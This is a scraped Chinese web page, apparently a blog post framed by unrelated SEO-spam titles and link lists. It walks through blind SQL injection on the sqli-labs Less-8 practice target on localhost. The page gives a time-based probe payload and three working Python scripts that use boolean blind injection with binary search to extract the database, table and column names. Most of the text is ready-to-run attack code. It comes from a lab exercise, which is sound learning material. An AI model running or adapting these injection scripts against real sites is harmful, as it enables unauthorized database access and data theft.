当前位置: 首页 > news >正文

织梦成品网站做零售外贸网站有哪些

织梦成品网站,做零售外贸网站有哪些,做公司网站域名怎么做记账凭证,南部县房产网?id1 and sleep(2)-- 发现页面存在注点,使用时间盲注脚本进行注入--- import requestsdef inject_database(url):name #name用于存储猜测出的数据库名称 for i in range(1, 20): # 假设数据库名称长度不超过20low 48 # 0high 122 # zmiddle (low high…

?id=1' and sleep(2)--+

发现页面存在注点,使用时间盲注脚本进行注入---

import requestsdef inject_database(url):name = ''   #name用于存储猜测出的数据库名称 for i in range(1, 20):  # 假设数据库名称长度不超过20low = 48  # '0'high = 122  # 'z'middle = (low + high) // 2   /*low, high, middle 用于二分查找(内层循环使用二分查找法猜测每个字符的ASCII值)*/while low < high:#构造Payload: payload是SQL注入的有效载荷,尝试猜测当前字符的ASCII值payload = "1' and ascii(substr(database(),%d,1))>%d-- " % (i, middle)params = {"id": payload}r = requests.get(url, params=params) # 判断注入是否成功,依据靶场的返回信息if 'You are in' in r.text:  # 只检查包含 "You are in" 的内容,表示成功low = middle + 1else:high = middlemiddle = (low + high) // 2 # 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符if middle > 32:  # 跳过空格和不可打印字符name += chr(middle)print(f"Current database name: {name}")low = 48high = 122middle = (low + high) // 2print(f"Final database name: {name}")if __name__ == "__main__":url = "http://127.0.0.1/sqlilabs7/Less-8/index.php"inject_database(url)

用一个布尔盲注攻击,从数据库中提取表名

-循环遍历表名的每个字符

-二分查找法:通过ASCII码范围(48到122)进行二分查找,确定每个字符的值

-构造SQL注入Payload:利用substr函数和ascii函数逐字符比较表名的ASCII值

-发送请求并判断结果

-跳过空格和非打印字符:只拼接有效的字符

import requestsdef inject_table_name(url, database_name):table_name = ''for i in range(1, 20):  low = 48  # '0'high = 122  # 'z'middle = (low + high) // 2while low < high:# payloadpayload = f"1' and ascii(substr((select table_name from information_schema.tables where table_schema='{database_name}' limit 0,1),{i},1))>{middle}-- "params = {"id": payload}r = requests.get(url, params=params)if 'You are in' in r.text:  low = middle + 1else:high = middlemiddle = (low + high) // 2if middle > 32:  # 跳过空格和不可打印字符table_name += chr(middle)print(table_name)low = 48high = 122middle = (low + high) // 2print(f"Final table name: {table_name}")if __name__ == "__main__":url = "http://127.0.0.1/sqlilabs7/Less-8/index.php"  database_name = "security"  # 目标数据库名称inject_table_name(url, database_name)

通过payload猜测数据库表的列名

import requestsdef inject_column_name(url, database_name, table_name):column_name = ''for i in range(1, 20): low = 48  # '0'high = 122  # 'z'middle = (low + high) // 2while low < high:payload = f"1' and ascii(substr((select column_name from information_schema.columns where table_schema='{database_name}' and table_name='{table_name}' limit 0,1),{i},1))>{middle}-- "params = {"id": payload}r = requests.get(url, params=params)if 'You are in' in r.text:  low = middle + 1else:high = middlemiddle = (low + high) // 2if middle > 32: column_name += chr(middle)print(column_name)low = 48high = 122middle = (low + high) // 2print(f"Final column name: {column_name}")if __name__ == "__main__":url = "http://127.0.0.1/sqlilabs7/Less-8/index.php"  database_name = "security"  table_name = "users"  # 目标表名inject_column_name(url, database_name, table_name)

http://www.yayakq.cn/news/554486/

相关文章:

  • 天津建设公司网站百度官网app下载
  • 合肥网站快速优化排名广告策划公司有哪些
  • 最好的网站代运营公司亚马逊网站建设的意义
  • 大连企业网站制作搜索引擎推广名词解释
  • 南京设计网站做网站点子
  • 网站建设公司工资标准wordpress插件破解
  • 服装网站建设运营规划手机app开发软件有哪些
  • 网站备案完成后不解析做营销型网站服务
  • 做网站的5要素前端入职一周被劝退
  • 盘锦市城乡建设厅网站重庆城乡建设局网站
  • 建设工程中标查询网站广联达工程造价软件官网
  • 你做的网站可视区域多少群晖wordpress 映射
  • 织金县网站建设情况php给一个网站做后台
  • 建设银行电子银行网站项目招标的截止时间
  • seo网站推广有哪些网页设计与制作教程第五版答案
  • 建站系统的选用分析小程序api开发
  • 做周边的网站凡科做公司网站怎么收费
  • 南昌网站推广排名软件实施工程师工资一般多少
  • 怎么做网站充值网站常用的网页制作软件有
  • 网站建设公司开发镇海区建设交通局网站
  • 北京网站设计优选刻wordpress demo
  • seo发外链网站wordpress站群主机
  • 长春建站模板源码世界著名建筑设计公司
  • 关于建设网站的书本北京一诺网站建设公司
  • 怎么建立一个网站卖东西福田做网站报价
  • 史上最全设计网站品牌展示设计网站
  • 广东建设教育协会网站建设集团企业网站
  • 个人简历html网页模板wordpress性能优化工具吗
  • 自己建设的手机网站做百度地图定位wordpress网页特效
  • 做网站就上凡科建站优化算法 网站